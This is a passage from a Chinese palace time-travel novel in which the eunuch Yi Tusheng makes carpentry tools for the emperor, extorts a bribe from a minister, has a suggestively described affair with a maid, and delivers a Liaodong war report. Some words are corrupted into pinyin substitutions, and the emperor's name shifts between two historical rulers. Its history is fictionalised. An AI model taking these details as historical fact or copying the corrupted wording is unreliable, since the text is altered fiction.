听说易土生要来挑选工匠,工部尚书黄克缵和shì郎张问达,午时时分就在工部衙门恭候了,见到易土生居然拿出道圣旨来,两人心里都想:‘这点破事也至于下一道圣旨,皇上可真是小题大做!

接完了旨意之后,黄克缵笑着对易土生说:“请问易公公,陛下这次挑选工匠做什么用途?”

易土生淡淡的说:“没什么用途!”

黄克缵和张问达对视了一眼,怎么茬,还保密?

黄克缵心想,难道是要大兴土木了?这可是财的大好机会,这个营造大臣,自己是一定要争取的。张问达心里也是这个想法,就算吃不着腿,也得喝点汤不是。

黄克缵咳嗽了一声说:“易公公辛苦了,晚上舍下略备薄酒,不知公公可有空闲?”

易土生一听有饭局,立刻来精神了,可转念一想,如今不同往日了,自己是皇帝身边的人,想喝酒还不容易,便淡淡的说:“公务繁忙,只怕没有时间!”

黄克缵尴尬的笑道:“那明天呢?”

易土生心想,这老小子是不是有事求我:“黄大人有话请直说,能帮上忙的杂家决不推辞!”

黄克缵被说中了心事,老脸一红,连连摆手:“没事,没事,只是老朽一向仰慕公公,想和公公交个朋友!”

易土生道:“原来是这么回事儿,这两天恐怕是没空了,杂家要为皇帝办事!”

黄克缵抢着说:“后天,后天请公公一定赏脸!”

易土生见实在不能推脱了,大笑道:“黄尚书如此客套,杂家要是不去就有些不识抬举了,一定到,一定到。”

黄克缵欣喜若狂,冲着张问达微微的点了点头。

最后,易土生在工部挑选了十名能工巧匠,都是心灵手巧的资深工匠。

易土生就是想要找这样的工匠,他自己对木匠用具毕竟只是知道个皮mao,要想真正的为小皇帝的木匠生涯来一次大改革,还必须借助能工巧匠的帮助不可。

当然了,这些人都是幕后英雄,成功了之后,功劳肯定是易土生一个人的。就好像大家都知道《资治通鉴》是司马光写的,而把他手下的那些大儒忘得干干净净。

易土生一面和工匠们商量着把墨斗、手锯的平面图画出来,一面命人到铅矿去找寻铅块。不到半天的功夫,小太监们就找来了很多铅块。易土生找了几块长方形的小巧的,让人磨平了磨尖了,当铅笔使唤。

虽然只见过几次墨斗和手锯,易土生还是准确无误的画了出来,不但如此,他还划出了折尺、曲尺、圆规的形状,要求那些能工巧匠们照这样子制造出来。

虽然摆在工匠们眼前的工作,时间紧任务重,但是在易土生的讲解之下,这些巧匠运用经验挥才智,竟然真的一件件的就制作出来了。从开始制作一直到完成,总共用了两天两夜的时间。易土生豁出命去干,两天两夜没睡过觉。

第三天当易土生把工具拿到皇帝面前,并且信誓旦旦的告诉皇帝那些工匠如何如何无用,这些东西都是他一人制造出来的时候,小皇帝高兴地笑不拢嘴。

朱由检拿着一件件奇形怪状的工具,问道:“小易子,这些东西都是做什么用的呀?”

易土生拿着“铅笔”说:“皇上,这东西可以写字,您看——”说着在木头上画了一条又直又清晰的线段。

小皇帝喜得笑出声来:“真好!”

“皇上,这东西叫墨斗可以划很长的直线!”

“皇上这东西可以锯东西,您看!”

“皇上这东西可以测量角度!”

易土生一边说,一边把墨斗、手锯、折尺、圆规那些玩意一件件示范给皇帝看,朱由检虽然在管理国家方面近乎白痴,可是在这方面却是个不世出的奇才,绝对可以达到举一反三触类旁通的境界。易土生大致的示范了一下,他就可以上手了。

朱由检越干越起劲,大汗淋漓,直到日暮西沉,方才罢手。

对于易土生的工具赞不绝口,推崇备至。

那个六角hua亭在诸多工具的帮助下,终于完美的呈现在了两人眼前。

“完成了,终于完成了,真是太ban床了,多亏了你呀小易子,你真是朕的股肱之臣!”

易土生嘴上谢恩,心里却惭愧的流汗,这也叫‘股肱之臣’呀?!

朱由校收工了,易土生忙上来禀告说:“陛下,工部尚书黄克缵要请奴才吃饭呢!”

朱由检道:“什么时候?”

易土生低头低声道:“今晚!”朱由检接过宫女递过来的mao巾擦汗,大笑道:“那你还不快去,朕这里不用你伺候了,小易子,你这次立下了大功,想要朕怎么赏赐你。”

易土生道:“为皇上排忧解难是臣的本分,那敢奢求什么赏赐呢?”

朱由校道:“赏你一百两黄金吧!”

易土生心想,又财了,弓着腰说:“谢主隆恩!”

、朱由校挥着手说:“得啦,得啦,快去赴宴吧!”易土生小碎步退了出去:“遵旨!”

黄府之内一片珠光宝气,大厅内红烛高烧,两排膀大腰圆家丁两排婀娜多姿的shì女站立在大厅的廊柱之下,恭迎贵宾。

易土生的轿子在门外停了下来,黄克缵亲自撩起轿帘,一脸谄媚的说:“易公公大驾光临,下官家里蓬荜生辉呀。”

走进大门,易土生的眼睛就没离开过两排shì女,嘴里啧啧叹道:“黄大人真是yan福不浅呀,这些女子堪比宫内的宫娥。”

黄克缵连连摆手:“公公说笑了,老朽怎敢和深宫大内攀比奢华!”

易土生心想这个老东西一定是贪了不少,否则家里哪有这么富余,这些女子肯定也是价值不菲。

黄克缵心里纳闷,一个太监怎么对女人这么有兴趣,奇怪!

来到大厅内,黄克缵引着易土生坐了席,自己在一旁陪着,然后对下人说:“上菜!”那名贵的菜肴便流水般从廊下端了上来。

刚喝了两杯酒,黄克缵就说:“来人,去把夫人和小姐都叫出来,见过易公公!”

黄克缵凑到易土生面前低声道:“本来官场的规矩,家眷是不便见客的,但易公公毕竟不是外人,所以破例!”

易土生心里冷笑,老东西见我是个太监就欺负我。

一会儿功夫,黄克缵的一群夫人和一个女儿从内宅走了出来。

易土生看到这些人,就更加想升官财了。

黄克缵的夫人们,从六七十岁的老太太到十六七岁的小姑娘一共八位,比之叶向高还多了一倍。只看这几位夫人身上的珠光宝气,就可知黄克缵的为人了。

那些夫人像桌子上的菜肴流水般的参拜易土生,来一个走一个,就像是遗体告别仪式。

最后轮到一个十六七岁的冷面小妾和黄克缵的女儿,黄姣。

这两个女子,真可谓是皓月与明珠之光,难分轩翰。都是级的大美人。

尤其是小妾张黄氏。生的那叫一个精致,像景德镇的瓷器一样细腻稳重,1ù在外面的皮肤没有一点瑕疵,眼如深潭,脉脉含情。小巧的红如一捧火红的芍药,蕴含着无限的热情,这样的美人,却苦着一张脸,冷yanyan的。

“参见易公公!”

黄克缵道:“这是老朽的第八房小妾张氏,过来给公公斟酒!”黄克缵拿出了家长的威严,板着脸严肃的说。

张黄氏左手拉着右手的袖子,用兰hua指给易土生斟酒,易土生看的有些痴了。冷不防身后有人重重的冷哼了一声,待他回头的时候,张黄氏已经蝴蝶般飞走了。

身后出冷哼的人就是黄克缵的宝贝女儿,黄姣。

黄姣一看易土生就知道他不是什么好鸟。

在她心目中太监没有一个好人,整天价伺候嫔妃洗澡的男人,能有什么好东西?

“大胆,姣儿,还不快来参拜易公公!”黄克缵显然是拿着个独生女儿没什么法子,声音虽然威严,但底气不足,足见其色厉内荏。

“什么易公公,不过就是个九品官衔的太监,我一个堂堂的一品大员的女儿要参拜他?!”黄姣鼻子里呼出冷气,不屑的说。

易土生心里也有气,就想耍笑耍笑她,回过头,站起身说:“哦,这位就是黄大人的千金呀,真是,哎呀,真是,倾国倾城啊,太好了……太好了……!”

黄克缵纳闷道:“易公公,好些什么?”

易土生叹息道:“大人你不知道,这几天皇上总是在我身边念叨说‘后宫缺人’,可是眼下又没有什么美人,今日见了黄小姐,杂家总算是可以交差了……”

“当!”黄克缵的筷子掉在了桌子上,黄姣的脸色也变的铁青,急得眼泪在眼圈里打转。黄克缵掏出一块白色的帕子,擦了擦额头的汗珠,颤声道:“交差?”

易土生神秘的笑了笑说:“这还用得着杂家明说嘛?”

“这——”黄克缵赶忙站起身来给易土生鞠躬:“公公,老朽这一生只有小女这一点骨血,还指望她给我这把老骨头养老送终,您千万要救我一救,不可使其进宫啊!”

易土生斜着眼看了看黄姣,咂嘴道:“不好办呀,难道大人让我说谎不成,这可是——欺君大罪呀!”

黄克缵冷汗涔涔,给黄姣使眼色:“给——给公公斟酒——”

黄姣慌了,跪在易土生身边说:“公公救我,黄姣誓死也不愿进宫去!”

既然找回了面子,易土生也打算见好就收,顺手扶起了黄姣:“我一个九品的太监,怎么能担得起一品大员家的小姐参拜,这不是让杂家折福吗?”

黄克缵嚷道:“应该的,应该的,姣儿,你还跪着!”黄姣跪在地上一动不动,只是垂泪。

黄克缵招了招手,喝令所有的下人都下去,又在管家耳边耳语了几句,管家转身去了。

黄克缵道:“请公公务必网开一面!”易土生拉着脸说:“这恐怕不太好办吧!”

黄克缵指着黄姣骂道:“你得罪了公公还不快点磕头认错!”黄姣也不狂了,连连叩头:“公公救我,公公救我!”

这时候,管家去而复返,把一叠银票交给了黄克缵。

黄克缵躬身道:“公公,这里有十万两银子,不成敬意,还请公公笑纳!”

一听说有银子来了,易土生绷紧的脸再也绷不住了,哈哈笑道:“黄大人太见外了!”伸手把银票接了过来,塞在袖子里。“你的事情,杂家心里有数,能帮的杂家一定帮忙,黄小姐,你也别跪着了,起来吧!”

黄姣怯生生的站起来,站在一边,双肩不住的颤动。

易土生拱了拱手说:“酒也喝够了,杂家该告辞了!”

第二十章如此反间计

回到宫里,迎面遇到了小桃。

小桃最近变化tǐn床大的,胸部比以前大了一倍,盛臀也似乎翘了tǐn床了,眉宇间总有股拢不住的欣喜之气,走起路来轻飘飘的,一双大眼睛都比以前清澈透亮了许多。逢人有说有笑的,别提多开心。

大家都觉得很奇怪,也只有小桃和易土生才明白这里的诀窍。

看着小桃越来越有风韵的身子,易土生不禁佩服起自己的能力来。

幽怨的看了易土生一眼,小桃娇嗔地说:“相公,怎么这么长时间都不来找我,莫非是忘了我吗?”

易土生看了看她的身体,突然色心大起。“小桃,你真漂亮,打扮起来,肯定比很多娘娘都漂亮。”

“贫嘴!”小桃正色道:“这种话可不要乱说,小心有人撕了你的嘴!”

易土生冷笑道:“比这更加大胆的事情我都做了,我怕谁呀?”

小桃道:“我找你有事儿?”

易土生见她拉拉扯扯羞羞答答的,知道她肯定是心动了,笑道:“我也正想你呢,走,到你屋子里去坐一会儿。”

刚一进屋,小桃一把将易土生抱住了喘着粗气撕扯他的衣服,易土生也在小桃身上mao手mao脚……

易土生穿上衣服站起来,看着小桃疲惫的身体说:“明儿,我还来!”

小桃高兴地说:“真的吗?”

易土生怜惜的在她的额头上亲ěn了一下说:“当然,一定,我爱死你了。”然后就打开门走了。

易土生回想着刚才香yan的情形,正在暗爽的时候,忽然回廊上有人喊道:“易公公,孙承宗大学士的八百里加急!”易土生心想,又是孙承宗的加急。

小太监来到廊下,捧着一个奏章说:“易公公,辽东急奏,请公公转呈皇上御览。”

易土生呵斥道:“一大清早的你瞎嚷嚷什么,惊扰了圣驾你吃罪得起吗?”

小太监吓了一跳,结结巴巴的说:“公公,这是急奏,辽东后金大军压境,大学士孙承宗向皇帝祈援。”

易土生破口大骂道:“hún账东西,这么重要的东西怎么不早说,还不下去!”小太监心里那个气呀,恨不得把易土生身上的每根骨头都捻成石灰粉。

朱由检刚刚在宫女的服shì下穿好了衣服,易土生就连滚带爬灰头土脸的扑了进来,“启禀皇上,边报,边报!”

朱由检笑道:“小易子,你这是唱的哪一出啊,这么着急忙慌的干什么呀?”

易土生把奏折举过头顶说:“陛下,辽东边报,后金大军压境,孙承宗抵挡不住了!!”

朱由检本来最不爱看走着的,有什么事情都直接推给魏宗贤去办了,但这个消息着实让他吓了一跳,立即把奏折抢过来,展开观看。看罢,大声喊道:“左光斗还说孙承宗此人可堪大任,没想到竟也是个酒囊饭袋。”

易土生知道,这件事情并不怪孙承宗,更不怪熊廷弼,也不怪袁崇焕,后金人敢如此大张旗鼓的兴兵犯境的原因,应该在前任辽东经略袁应泰和辽东巡抚王化贞的身上。

万历四十七年也就是六年前,明朝的军队与后金军队在萨尔浒生了一次重大战役。

明朝调集全国的精锐部队共二十万,后金也集结了六万人马。决战的结果是:明朝将领阵亡三百一十多人,士兵阵亡八万五千八百余人,损失战马三万八千匹;而后金伤亡仅数百人,包括士兵和将领。

一贯自大的明王朝,遭到了沉重的打击。辽东经略杨镐被逮入诏狱。需要说明的是杨镐这人本来就是个废物,贪污腐化,无能之极,他能做辽东经略,完全是当时内阁辅方从哲的意思。

杨镐战败之后,兵部shì郎熊廷弼为辽东经略,以守为攻,派人分别把守宁远、锦州等要地,募兵二十万,守的无懈可击。

后金太祖努尔哈赤也拿他没办法。

倒霉的是,后来小皇帝派王化贞为辽东巡抚,此举造成了边关大将不合,熊廷弼主守,王化贞主攻。

兵部尚书张鹤鸣辅叶向高等人全偏向王化贞。

王化贞大言不惭,上表报称要以六万大军一举dan床平后金,却没想到,弄到最后,弄了个全军覆没。

熊廷弼被朝廷宰了,王化贞和张鹤鸣却堂而皇之的活了下来,而且官复原职。需要说明的是这样的结果和魏宗贤的介入是分不开的。

左光斗推荐孙承宗去收拾烂摊子,孙承宗本来不愿去,但是皇命难为。他到了辽东之后,修城练兵,屯田五十万顷,准备做长期和后金对持的准备。采用的还是熊廷弼的坚守策略。不过此时辽东的情况已经今非昔比:广宁失守、辽阳失守、锦州失守、山海关外围只剩下袁崇焕镇守的的宁远一座孤城,你让孙承宗有什么办法?

他就是个神仙也无力回天了。

孙承宗在辽东任上还做了一件好事,那就是任命袁崇焕为宁前道总兵。

所以说,小皇帝朱由检责备孙承宗是没有道理的,因为孙承宗得到的是个不能再烂的烂摊子,努尔哈赤也没有给他足够的时间准备,他不告急,又能如何?

易土生当然不会傻啦吧唧的给皇帝禀报这些事情,孙承宗和袁崇焕都是魏宗贤的眼中钉腿中刺,而王化贞却是老魏的亲信,他怎么敢说破这层机关呢。不过,易土生想到了另外的一件事儿。

易土生撞着胆子问道:“辽东守卫固若金汤,陛下用不着忧心!”

朱由检道:“小易子你不知道,后金人这次来的正是时候,前几天孙承宗请示过内阁,要把十万大军移动到大同紫荆关一代换防,山海关的大军都被他抽空了,此时宁远城中只有两万不到的守军。

易土生自语道:“后金人的消息够灵通的,莫非这里有内鬼?”

“内鬼?”

易土生道:“就是奸细的意思?”

朱由检道:“除非奸细是叶向高!”

易土生低声道:“虽然不是叶向高,也相去不远了!”

朱由检再怎么迟钝,也听得出他弦外有音,问道:“这话从何说起!”

易土生道:“陛下——奴才有件事儿忘了禀报——”当下把那晚在叶府赴宴现奸细的事情说了一遍。当然把曲敏的事情隐去了没说,只说自己是上茅厕。

朱由检双目闪光道:“真有这回事儿!”

朱由检道:“小易子,这次你又立功了。对了,此事事关重大,你立即去把厂臣找来!”

易土生傻了,站在那里,去也不是,不去也不是。

朱由检皱眉道:“你没听到朕的话吗?”

易土生苦笑道:“听是听到了,不过,奴才有个请求,希望皇上能够答应?”

朱由检道:“别吞吞吐吐的,有话快说!”

易土生为难的说:“希望皇上不要当着魏公公的面说这个消息是奴才报告的!”

朱由检怔道:“这是为什么?这本来就是你的功劳啊!”

易土生耷拉着脑袋说:“皇上,您想想,这么重要的消息,锦衣卫都没打听到,偏偏被奴才知道了,魏公公心里能高兴吗?奴才可不敢得罪他!”

朱由检失笑道:“原来如此,朕知道了,你放心去吧!”

易土生到了东厂只说皇上找厂臣有急事,魏宗贤问了个大概,就跟着他奔皇宫来。

两人见了小皇帝,小皇帝简单的把事情给魏宗贤说了一遍。

魏宗贤灵机一动,正色道:“陛下,奴才有个主意,可以让后金人吃个大亏!”

朱由检迟钝的问:“什么办法?”

魏宗贤自以为是的笑道:“其实这事情也简单的很,只需要用反间计就可以了,我们给那个陈管家一些假情报,我们这边从容应对,后金人必败无疑。”

朱由检道:“你心里有主意吗?”

魏宗贤胸有成竹的说:“奴才已经有了全盘的计划,不过,此事必须叶辅帮忙!”

朱由检道:“一切都听你安排,只要能保住朕的江山!”

魏宗贤道:“皇上可以谎称派大将何可纲率领二十万禁军,绕过锦州、宁远边防,从蓟门大举攻打后金巢穴‘赫图阿拉’,后金人得到这个情报,一定会从宁远撤军。当他们撤军的时候我二十万大军乘势追击,后金人措不及手,必败无疑。”

朱由检连连点头道:“厂臣果然是朕的股肱,这样的妙计也被你想到了,朕这就传何可纲来陛见!”

魏宗贤道:“还不可以,皇上您要先传叶辅来相见,并且把作战计划收录一份交给叶辅。”

朱由检道:“即使如此,奸细也不一定能够得到情报!”

魏宗贤冷笑道:“剩下的事情就看叶辅的了。”

若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]